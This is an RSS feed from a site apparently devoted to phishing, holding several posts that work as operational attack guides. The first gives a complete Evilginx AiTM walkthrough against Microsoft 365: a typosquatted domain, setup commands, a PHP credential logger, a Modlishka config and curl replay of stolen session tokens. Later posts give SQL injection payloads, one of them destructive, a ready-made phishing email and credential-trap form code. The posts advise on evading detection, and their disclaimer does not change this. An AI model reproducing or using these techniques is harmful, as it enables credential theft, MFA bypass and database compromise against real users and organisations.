<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Data Harvesting &#8211; phishandchips.io</title>
	<atom:link href="https://phishandchips.io/category/framework/data-harvesting/feed/" rel="self" type="application/rss+xml" />
	<link>https://phishandchips.io</link>
	<description>Discussing cybersecurity one byte at a time.</description>
	<lastBuildDate>Wed, 13 May 2026 08:00:41 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://phishandchips.io/wp-content/uploads/2023/09/cropped-phishandchips.io_-32x32.png</url>
	<title>Data Harvesting &#8211; phishandchips.io</title>
	<link>https://phishandchips.io</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">223541256</site>	<item>
		<title>Adaptive Data Harvesting Techniques Leveraged in Phishing Campaigns</title>
		<link>https://phishandchips.io/adaptive-data-harvesting-techniques-leveraged-in-phishing-campaigns/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 10 May 2026 06:04:07 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[CyberSecurity]]></category>
		<category><![CDATA[multi-factor authentication]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[session tokens]]></category>
		<guid isPermaLink="false">https://phishandchips.io/adaptive-data-harvesting-techniques-leveraged-in-phishing-campaigns/</guid>

					<description><![CDATA[&#8220;`html Introduction The landscape of phishing has evolved significantly from basic credential harvesting to more sophisticated methods. In this evolution, adaptive data harvesting techniques have become increasingly prevalent. This shift focuses not only on capturing static credentials like usernames and passwords but has grown to include session tokens and cookies that have already passed multi-factor [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>&#8220;`html</p>
<h3 class="wp-block-heading">Introduction</h3>
<p>The landscape of phishing has evolved significantly from basic credential harvesting to more sophisticated methods. In this evolution, <mark style="background-color:#9EF9FD;color:#000000" class="has-inline-color">adaptive data harvesting</mark> techniques have become increasingly prevalent. This shift focuses not only on capturing static credentials like usernames and passwords but has grown to include session tokens and cookies that have already passed multi-factor authentication (MFA) checks. Such methods offer a higher success rate as they allow attackers to gain authenticated access without triggering additional security prompts or alarms. Understanding these advanced techniques is crucial for running more authentic and successful phishing simulations.</p>
<p>After going through this comprehensive guide, you&#8217;ll be equipped to set up and execute an Adversary-in-the-Middle (AiTM) proxy campaign using tools like Evilginx. You&#8217;ll learn how to create convincing cloned login pages and implement strategies for the exfiltration of session tokens that provide immediate and validated account access, bypassing the need for MFA. Ready to take your phishing simulations to the next level? Let&#8217;s dive in.</p>
<h3 class="wp-block-heading">Prerequisites and Setup</h3>
<p>Before you can undertake an effective <mark style="background-color:#9EF9FD;color:#000000" class="has-inline-color">credential capture operation</mark>, certain prerequisites need to be in place. The first is to secure a plausible-looking domain to act as a facade for your operation. Typosquatting on a known service provider is a classic technique. For instance, the domain <a href="http://accounts-microsoft-verify.com">accounts-microsoft-verify.com</a> can mimic Microsoft&#8217;s services, providing a credible veneer. Additionally, having SSL via Certbot to encrypt your fake site traffic is vital. Also, ensure that you have access to a VPS where you can install and run Evilginx.</p>
<p>To set up Evilginx on a fresh Debian VPS, use the following commands:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">apt update &amp;&amp; apt install git golang-go -y<br />
git clone https://github.com/kgretzky/evilginx2.git<br />
cd evilginx2 &amp;&amp; make<br />
./bin/evilginx -p ./phishlets</div></div>

</pre>
<p>After installation, configure Evilginx using its shell as follows:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">config domain accounts-microsoft-verify.com<br />
config ipv4 external 45.33.32.156<br />
phishlets hostname o365 login.accounts-microsoft-verify.com<br />
phishlets enable o365</div></div>

</pre>
<p>With the basic setup in place, you&#8217;re prepared to execute a robust phishing campaign.</p>
<h3 class="wp-block-heading">Step-by-Step Execution — AiTM Proxy with Evilginx</h3>
<h4 class="wp-block-heading">Configuring the phishlet</h4>
<p>The first step in running an Evilginx AiTM campaign is configuring the right phishlet. Phishlets are templates for cloned login pages and can be customized for various services. The O365 phishlet serves as a fitting example, given its widespread use:</p>
<h4 class="wp-block-heading">Creating and distributing lure URLs</h4>
<p>Creating the lure URL is a pivotal step. This URL is what your targets will click on, thinking it&#8217;s a legitimate login page. Use the following Evilginx commands to create and retrieve your lure URL:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">lures create o365<br />
lures edit 0 redirect_url https://portal.office.com<br />
lures get-url 0</div></div>

</pre>
<p>The retrieved URL can be distributed through various means like <a href="https://phishandchips.io/crafting-phishing-emails-techniques-and-tactics/">spear-phishing emails</a> or crafted messages that are more likely to result in a click-through.</p>
<h4 class="wp-block-heading">Harvesting captured sessions</h4>
<p>Once victims log in through the lure URL, Evilginx captures their session tokens. Here&#8217;s a sample of a captured session output in the Evilginx interface:</p>
<blockquote class="wp-block-quote">
<p>Token: XYZ123&#8230; | Username: john.doe@company.com | Timestamp: 2023-10-15 12:00:00</p>
</blockquote>
<p>The value in this data is substantial because a session token allows you to impersonate the user without needing the password. This method completely sidesteps MFA requirements since the user has already been authenticated. Such tokens are a potent asset for an attacker, maximizing access while minimizing detection risk.</p>
<h3 class="wp-block-heading">Step-by-Step Execution — Cloned Credential Pages</h3>
<h4 class="wp-block-heading">Cloning the target page</h4>
<p>Sometimes a standalone <mark style="background-color:#9EF9FD;color:#000000" class="has-inline-color">credential harvester page</mark> is more practical. The first step is cloning the target login page. Using</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;">
<div class="text codecolorer">wget</div>
</div>
<p>, you can mirror the target&#8217;s legitimate login page:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">wget --mirror --page-requisites --convert-links --no-parent https://login.microsoftonline.com/common/oauth2/authorize</div></div>

</pre>
<p>This will fetch all necessary files to locally host a believable copy of the real login page.</p>
<h4 class="wp-block-heading">Adding the credential capture backend</h4>
<p>Once the page is cloned, incorporate a backend script to capture credentials. An example PHP script for logging credentials is as follows:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">&amp;lt;?php<br />
$log = fopen('/var/log/.harvest.log', 'a');<br />
fwrite($log, date('Y-m-d H:i:s') . ' | ' . $_SERVER['REMOTE_ADDR'] . ' | ' . $_POST['login'] . ':' . $_POST['passwd'] . &quot;\n&quot;);<br />
fclose($log);<br />
header('Location: https://login.microsoftonline.com/common/oauth2/authorize?error=invalid_request');<br />
exit;</div></div>

</pre>
<p>The strategy here uses a redirect to the legitimate site after capturing credentials, with a generic error message suggesting to the user they simply mistyped their login details. This redirection decreases suspicion, allowing users to input their details again on the real site, while your script quietly logs their credentials.</p>
<h3 class="wp-block-heading">Advanced Variations</h3>
<h4 class="wp-block-heading">Modlishka as a Modular AiTM Alternative</h4>
<p>If Evilginx doesn&#8217;t fit the specific needs of your campaign, <mark style="background-color:#9EF9FD;color:#000000" class="has-inline-color">Modlishka</mark> presents a modular alternative with more customization options. Configuring Modlishka involves creating a JSON configuration file matching your target:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">{<br />
&nbsp; &quot;proxyDomain&quot;: &quot;login.microsoftonline-sso.com&quot;,<br />
&nbsp; &quot;listeningAddress&quot;: &quot;0.0.0.0:443&quot;,<br />
&nbsp; &quot;target&quot;: &quot;login.microsoftonline.com&quot;,<br />
&nbsp; &quot;targetResources&quot;: &quot;.microsoftonline.com,.live.com,.office.com&quot;,<br />
&nbsp; &quot;trackingCookie&quot;: &quot;id&quot;,<br />
&nbsp; &quot;log&quot;: &quot;/var/log/modlishka.log&quot;,<br />
&nbsp; &quot;cert&quot;: &quot;/etc/letsencrypt/live/login.microsoftonline-sso.com/fullchain.pem&quot;,<br />
&nbsp; &quot;certKey&quot;: &quot;/etc/letsencrypt/live/login.microsoftonline-sso.com/privkey.pem&quot;<br />
}</div></div>

</pre>
<h4 class="wp-block-heading">Session Token Replay</h4>
<p>Once a session token is captured, you can directly replay it to gain access to the victim&#8217;s account, bypassing password and MFA. To verify the authenticity of a token, use:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">curl -s -b &quot;ESTSAUTH=eyJ0eXAiOiJKV1Qi...&quot; \<br />
&nbsp; https://outlook.office.com/mail/ -L \<br />
&nbsp; | grep -i &quot;displayName&quot;</div></div>

</pre>
<p>This method lets you test the token&#8217;s validity before proceeding with further stages of your campaign.</p>
<h3 class="wp-block-heading">Good / Better / Best</h3>
<p><strong>Good:</strong> Implementing a static cloned page with a PHP credential logger is a functional approach. However, its effectiveness diminishes rapidly after the domain is reported and blacklisted. The prompt response teams of major service providers can quickly neutralize such sites.</p>
<p><strong>Better:</strong> Deploying an Evilginx AiTM configuration elevates your game. This method not only captures credentials but also session tokens, bypassing MFA obstacles entirely. The setup can blend seamlessly with real web services, making detection considerably harder.</p>
<p><strong>Best:</strong> Incorporating a pre-text traffic-qualifying mechanism adds another layer of sophistication. This entails redirecting traffic to a legitimate-seeming page first to filter out bots and scanners, allowing only <mark style="background-color:#9EF9FD;color:#000000" class="has-inline-color">human interactions</mark> to reach your Evilginx capture page. This pre-text strategy dramatically extends the operational lifespan of the domain by reducing exposure to automated detection systems.</p>
<h3 class="wp-block-heading">Related Concepts</h3>
<p>Adaptive data harvesting techniques are intricately linked to other areas in the phishing landscape. Concepts like AiTM phishing and session hijacking form the basis of such sophisticated campaigns. Additionally, strategies around <mark style="background-color:#9EF9FD;color:#000000" class="has-inline-color">payload delivery</mark>, command and control infrastructure, and proficient campaign management, including domain rotation, are essential for extending the reach and lifespan of these engagements.</p>
<h3 class="wp-block-heading">References</h3>
<ul class="wp-block-list">
<li><a href="https://github.com/kgretzky/evilginx2">Evilginx GitHub</a></li>
<li><a href="https://github.com/drk1wi/Modlishka">Modlishka GitHub</a></li>
<li><a href="https://www.microsoft.com/security/blog/2021/11/18/evil-adversary-in-the-middle-phishing-attacks-mtd">Microsoft Security Blog on AiTM Phishing</a></li>
</ul>
<hr class="wp-block-separator">
<h3 class="wp-block-heading">Related Reading</h3>
<ul class="wp-block-list">
<li><a href="https://phishandchips.io/exploiting-out-of-bounds-write-vulnerabilities-in-phishing-campaigns/">Exploiting Out-of-bounds Write Vulnerabilities in Phishing Campaigns</a></li>
<li><a href="https://phishandchips.io/crafting-phishing-emails-techniques-and-tactics/">Crafting Phishing Emails: Techniques and Tactics</a></li>
</ul>
<hr class="wp-block-separator">
<p><strong>Educational Purpose:</strong> This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.</p>
<p>&#8220;`</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1463</post-id>	</item>
		<item>
		<title>Exploiting SQL Injection for Data Harvesting in Phishing Campaigns</title>
		<link>https://phishandchips.io/exploiting-sql-injection-for-data-harvesting-in-phishing-campaigns/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 10 May 2026 06:01:44 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<guid isPermaLink="false">https://phishandchips.io/exploiting-sql-injection-for-data-harvesting-in-phishing-campaigns/</guid>

					<description><![CDATA[Explore how attackers exploit SQL injection vulnerabilities to harvest sensitive data in phishing campaigns, including specific techniques and targeted data types.]]></description>
										<content:encoded><![CDATA[<p>Phishing campaigns frequently rely on cunning tactics to harvest sensitive data. One such method leveraged by attackers is exploiting <a href="https://phishandchips.io/what-is-sql-injection/">SQL injection</a> vulnerabilities. These vulnerabilities can be present in web applications like BerriAI LiteLLM, which can be a treasure trove of data for an attacker. Understanding how SQL Injection is harnessed for data harvesting reveals broader gaps in security, and educates on maximizing the realism and impact of phishing simulations.</p>
<h3 class="wp-block-heading">Understanding SQL Injection for Data Harvesting</h3>
<p>SQL injection is a code injection technique that exploits vulnerabilities in an application&#8217;s software by inserting malicious SQL statements into an entry field for execution. For phishing campaigns, this method allows attackers to access sensitive data, such as usernames, passwords, and financial information, that would normally be protected.</p>
<blockquote class="wp-block-quote">
<p>SQL injection vulnerabilities allow attackers to communicate directly with an application&#8217;s database, often extracting, altering, or corrupting data.</p>
</blockquote>
<p>To effectively use SQL injection in your phishing simulations, it&#8217;s crucial to fully understand the database structure and exploit it without tipping off the target during the engagement. This technique requires precision and subtlety to avoid detection.</p>
<h3 class="wp-block-heading">Exploiting Vulnerabilities: Step-by-step Approach</h3>
<p>The key is to mimic the way a genuine attacker would operate, taking advantage of existing vulnerabilities and delivering the simulated attack in a plausible context. Let&#8217;s delve into a step-by-step approach.</p>
<h4 class="wp-block-heading">1. Identify and Probe SQL Injection Entry Points</h4>
<p>Start by identifying potential entry points in your target’s web application. These might include login forms, search boxes, or data entry fields where user inputs are expected. Conduct a reconnaissance to find fields not properly sanitized.</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">POST /login HTTP/1.1<br />
Host: securetarget.com<br />
Content-Type: application/x-www-form-urlencoded<br />
Content-Length: 80<br />
<br />
username=admin' OR '1'='1&amp;password=wrongpassword&amp;submit=Login</div></div>

</pre>
<p>The example above shows how you could bypass authentication using a common SQL Injection payload, simulating an attacker’s attempt to exploit a login page vulnerability.</p>
<h4 class="wp-block-heading">2. Exploit the Vulnerability</h4>
<p>Once an entry point is identified, craft your SQL injection statement to extract desired data specifically. Tailor the payload to access data stealthily, such as customer information or internal credentials stored in the database, by leveraging union-based SQL injection for data extraction.</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">' UNION SELECT username, password FROM users --</div></div>

</pre>
<p>Using this query, an attacker would attempt to retrieve usernames and passwords from a vulnerable database, simulating unauthorized data access.</p>
<h3 class="wp-block-heading">Good / Better / Best Execution Strategies</h3>
<ul class="wp-block-list">
<li><strong>Good</strong>: Initiate the attack by embedding basic SQL injection scripts in poorly sanitized input fields, revealing minimal data but confirming the vulnerability&#8217;s existence.</li>
<li><strong>Better</strong>: Tailor SQL queries to extract specific data fields such as full names, email addresses, and hashed passwords, providing a clearer demonstration of the potential impact.</li>
<li><strong>Best</strong>: Combine SQL injection with subtlety and sophisticated pretexting to extract comprehensive data sets, using social engineering to engage targets and avoid security triggers.</li>
</ul>
<h3 class="wp-block-heading">Related Concepts</h3>
<p>Understanding SQL injection vulnerabilities is part of broader categories essential in today’s security landscape. Concepts like information retrieval via AiTM (Adversary-in-The-Middle) attacks and credential hijacking through phishing platforms complement your toolkit. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Click here</a> for additional information on known vulnerabilities.</p>
<h3 class="wp-block-heading">References</h3>
<ul class="wp-block-list">
<li><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA Known Exploited Vulnerabilities Catalog</a></li>
</ul>
<hr class="wp-block-separator">
<h3 class="wp-block-heading">Related Reading</h3>
<ul class="wp-block-list">
<li><a href="https://phishandchips.io/exploiting-berriai-litellm-sql-injection-vulnerability-for-unauthorized-access/">Exploiting BerriAI LiteLLM SQL Injection Vulnerability for Unauthorized Access</a></li>
<li><a href="https://phishandchips.io/what-is-sql-injection/">What is SQL Injection?</a></li>
<li><a href="https://phishandchips.io/adaptive-data-harvesting-techniques-leveraged-in-phishing-campaigns/">Adaptive Data Harvesting Techniques Leveraged in Phishing Campaigns</a></li>
<li><a href="https://phishandchips.io/exploiting-out-of-bounds-write-vulnerabilities-in-phishing-campaigns/">Exploiting Out-of-bounds Write Vulnerabilities in Phishing Campaigns</a></li>
</ul>
<hr class="wp-block-separator">
<p><strong>Educational Purpose:</strong> This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1459</post-id>	</item>
		<item>
		<title>SQL Injection in Phishing Campaigns: From Exploit to Data Theft</title>
		<link>https://phishandchips.io/sql-injection-in-phishing-campaigns-from-exploit-to-data-theft/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 10 May 2026 03:49:01 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[Phishing Exploitation]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<guid isPermaLink="false">https://phishandchips.io/sql-injection-in-phishing-campaigns-from-exploit-to-data-theft/</guid>

					<description><![CDATA[Leverage SQL injection vulnerabilities to access and manipulate databases, harvesting credentials and sensitive data in phishing campaigns.]]></description>
										<content:encoded><![CDATA[<p>In the realm of phishing attacks, the interplay between social engineering and database exploitation provides a potent avenue for harvesting data. Using <mark style="background-color:#9EF9FD;color:#000000" class="has-inline-color">SQL injection vulnerabilities</mark>, like the documented weakness in BerriAI LiteLLM, threat actors can transform a phishing campaign from a mere annoyance into a full-scale data breach endeavor. This article navigates the methodical use of SQL injections to surreptitiously access, manipulate, and extract critical data from vulnerable web applications during phishing simulations.</p>
<h3 class="wp-block-heading">The Subtle Art of SQL Injection</h3>
<p>SQL injection is a technique that allows malicious actors to execute arbitrary SQL code on a database, potentially leading to unauthorized access to sensitive data. By inserting or &#8220;injecting&#8221; SQL queries into input fields that are directly tied to the backend database, attackers can manipulate the responses from a website or web application. When you incorporate SQL injection into a phishing campaign, you not only test the user’s awareness but also probe the backend infrastructure for exploitable vulnerabilities.</p>
<blockquote class="wp-block-quote">
<p>SQL injection in the context of phishing leverages user engagement to tap into underlying data structures, thereby enlarging the threat landscape beyond the inbox.</p>
</blockquote>
<h3 class="wp-block-heading">Exploitation Example: BerriAI LiteLLM</h3>
<p>When targeting databases in phishing campaigns, an exploit against known vulnerabilities such as those documented in the <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA Known Exploited Vulnerabilities Catalog</a>, including the BerriAI LiteLLM, can be particularly beneficial. An actual phishing email might appear as:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">Subject: Critical Update on Your Account<br />
From: security-updates@corp-email.update-secure.net<br />
Body: <br />
Dear User, <br />
<br />
We have detected unusual activities on your account. Kindly log in to verify your information to ensure uninterrupted service. Please follow the secure link below:<br />
<br />
&lt;a href=&quot;https://login-corp-secure.net.verify-update.com/login&quot;&gt;Verify Your Account&lt;/a&gt;<br />
<br />
Thank you,<br />
Security Team</div></div>

</pre>
<p>The link routes the recipient to a site containing a vulnerable input field, allowing attacker-injected SQL queries to retrieve stored user credentials and sensitive information.</p>
<h3 class="wp-block-heading">Technique Execution: Building a Phishing Campaign for Data Harvesting</h3>
<p>Develop a campaign that not only captures user credentials through crafted pages mimicking legitimate login portals but also exploits SQL vulnerabilities to gather data from the associated databases. Here’s a breakdown of the process:</p>
<h4 class="wp-block-heading">Crafting the Lure</h4>
<p>The deception begins with an email designed to avoid suspicion and encourage the recipient to interact with an input field. The sender’s address uses <em>address spoofing techniques</em> to appear authentic, while the subject line and message body utilize <mark style="background-color:#9EF9FD;color:#000000" class="has-inline-color">psychological triggers</mark> such as urgency or authority — common tactics in phishing attacks.</p>
<blockquote class="wp-block-quote">
<p>A well-designed phishing email exploits human psychology and creates a seemingly real scenario where engagement feels necessary.</p>
</blockquote>
<h4 class="wp-block-heading">Leveraging Vulnerabilities</h4>
<p>Once the link is clicked, the goal is to exploit known vulnerabilities by manipulating input fields. Here&#8217;s a realistic SQL injection command targeting a login page:</p>
<pre class="wp-block-code">

<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;width:100%;"><div class="text codecolorer">' OR 1=1; DROP TABLE users; --</div></div>

</pre>
<p>While the above is a destructive query intended to show the potential of SQL injection, in a simulation, we&#8217;d extract data in a stealth manner, focusing on data harvesting like retrieving user profiles or credential hashes.</p>
<h3 class="wp-block-heading">Do&#8217;s and Don&#8217;ts</h3>
<h4 class="wp-block-heading">Do&#8217;s</h4>
<ul class="wp-block-list">
<li><strong>Do research</strong>: Identify web applications with documented vulnerabilities, ensuring they align with <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">known exploits</a>.</li>
<li><strong>Do craft plausible emails</strong>: Mimic actual correspondence templates and language used within the target organization.</li>
<li><strong>Do test extensively</strong>: Conduct dry-runs to ensure the SQL injection payload retrieves the intended data without causing suspicion or immediate alert.</li>
</ul>
<h4 class="wp-block-heading">Don&#8217;ts</h4>
<ul class="wp-block-list">
<li><strong>Don&#8217;t use overly intrusive queries</strong>: These can break functionality and alert both users and administrators to potential breaches.</li>
<li><strong>Don&#8217;t ignore user engagement signals</strong>: If an approach fails to lure users into clicking on your links or entering information, it diminishes the chance of successful exploitation.</li>
</ul>
<h3 class="wp-block-heading">Related Concepts</h3>
<ul class="wp-block-list">
<li><strong>Ethical Use of Vulnerabilities</strong>: Leveraging known weaknesses in a controlled setting to secure client infrastructure rather than inflict damage.</li>
<li><strong>Advanced Social Engineering</strong>: Combining technical exploits with human factors to increase the rate of successful engagements.</li>
<li><strong>Comprehensive Data Harvesting</strong>: The ultimate goal is to not just retrieve credentials but also understand user behaviors for long-term gains.</li>
</ul>
<h3 class="wp-block-heading">References</h3>
<ul class="wp-block-list">
<li><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA Known Exploited Vulnerabilities Catalog</a></li>
</ul>
<hr class="wp-block-separator">
<h3 class="wp-block-heading">Related Reading</h3>
<ul class="wp-block-list">
<li><a href="https://phishandchips.io/credential-harvesting-made-easy/">Credential Harvesting Made Easy</a></li>
<li><a href="https://phishandchips.io/where-do-email-lists-come-from/">Where Do Email Lists Come From?</a></li>
<li><a href="https://phishandchips.io/exploiting-improper-input-validation-for-social-engineering-attacks/">Exploiting Improper Input Validation for Social Engineering Attacks</a></li>
<li><a href="https://phishandchips.io/pick-your-poison/">Pick Your Poison</a></li>
</ul>
<hr class="wp-block-separator">
<p><strong>Educational Purpose:</strong> This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1416</post-id>	</item>
		<item>
		<title>Credential Harvesting Made Easy</title>
		<link>https://phishandchips.io/credential-harvesting-made-easy/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 25 Sep 2023 19:33:12 +0000</pubDate>
				<category><![CDATA[Data Harvesting]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[credential harvesting]]></category>
		<category><![CDATA[cybersecurity threats]]></category>
		<category><![CDATA[ethical hacking]]></category>
		<category><![CDATA[phishing techniques]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<guid isPermaLink="false">https://phishandchips.io/?p=923</guid>

					<description><![CDATA[Here at P&#38;C, we believe the lowest-energy means to accomplish the task is often the best. In this article, we will set-up a credential trap payload in a few easy steps using tools that are readily available to anyone. Tools &#38; Materials To set-up this credential trap, you will need a text editor and a [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Here at P&amp;C, we believe the lowest-energy means to accomplish the task is often the best. In this article, we will set-up a credential trap payload in a few easy steps using tools that are readily available to <em>anyone</em>.</p>



<h2 class="wp-block-heading">Tools &amp; Materials</h2>



<p class="wp-block-paragraph">To set-up this credential trap, you will need a text editor and a web server.<mark style="background-color:#9EF9FD" class="has-inline-color has-base-color"> We wouldn&#8217;t recommend using anything production-quality as publicizing a credential trap will likely get your domain flagged for suspicious content.</mark></p>



<p class="wp-block-paragraph">That said, at your own risk.</p>



<h2 class="wp-block-heading">Sample Code?</h2>



<p class="wp-block-paragraph">Yes, you may find our basic cred-trap, along with other materials from this site, on our GitHub:<br><a href="https://github.com/PhishAndChips-io/cred-trap">https://github.com/PhishAndChips-io/cred-trap</a></p>



<h2 class="wp-block-heading">How does it work?</h2>



<p class="wp-block-paragraph">The primary payload is index.html.<br>You can see a LIVE version here:<br><a href="https://phishandchips.io/static/cred-trap/" target="_blank" rel="noreferrer noopener">https://phishandchips.io/static/cred-trap/</a></p>



<p class="wp-block-paragraph">There&#8217;s a lot to unpack here.. so let&#8217;s go through it.</p>



<figure class="wp-block-image size-large wp-duotone-unset-1"><img fetchpriority="high" decoding="async" width="1024" height="427" src="https://phishandchips.io/wp-content/uploads/2023/09/cred-trap-1024x427.png" alt="" class="wp-image-924" srcset="https://phishandchips.io/wp-content/uploads/2023/09/cred-trap-1024x427.png 1024w, https://phishandchips.io/wp-content/uploads/2023/09/cred-trap-300x125.png 300w, https://phishandchips.io/wp-content/uploads/2023/09/cred-trap-768x320.png 768w, https://phishandchips.io/wp-content/uploads/2023/09/cred-trap.png 1207w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">here, we have some <a href="https://phishandchips.io/category/framework/social-engineering/" data-type="category" data-id="46">social engineering</a> at play&#8230;</p>



<ol class="wp-block-list">
<li>We have a timer (written in javascript) that says you have 00:30s to act quickly.</li>



<li>We have some reassuring message from your IT department&#8211;&#8220;We&#8217;ve added this <em>for your safety</em>&#8220;</li>



<li>We have a friendly placeholder in the template for a logo as well as a FAVICON&#8212; you know, for the <mark style="background-color:#D8E202" class="has-inline-color">really authentic experience</mark>.</li>
</ol>



<p class="wp-block-paragraph"></p>



<h3 class="wp-block-heading">Behind the Scenes&#8230;</h3>



<div class="wp-block-group has-black-background-color has-background has-global-padding is-layout-constrained wp-container-core-group-is-layout-56ae27db wp-block-group-is-layout-constrained" style="padding-top:0;padding-bottom:0">

<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap;">&nbsp;<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/form.html"><span style="color: #000000; font-weight: bold;">form</span></a> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;https://phishandchips.io/static/cred-trap/submit.php&quot;</span> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;post&quot;</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;row&quot;</span>&gt;</span> &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;col&quot;</span>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/center.html"><span style="color: #000000; font-weight: bold;">center</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/img.html"><span style="color: #000000; font-weight: bold;">img</span></a> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;URL/logo.png&quot;</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/center.html"><span style="color: #000000; font-weight: bold;">center</span></a>&gt;</span> &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;username&quot;</span> placeholder<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Username&quot;</span> required&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> placeholder<span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Password&quot;</span> required&gt;</span><br />
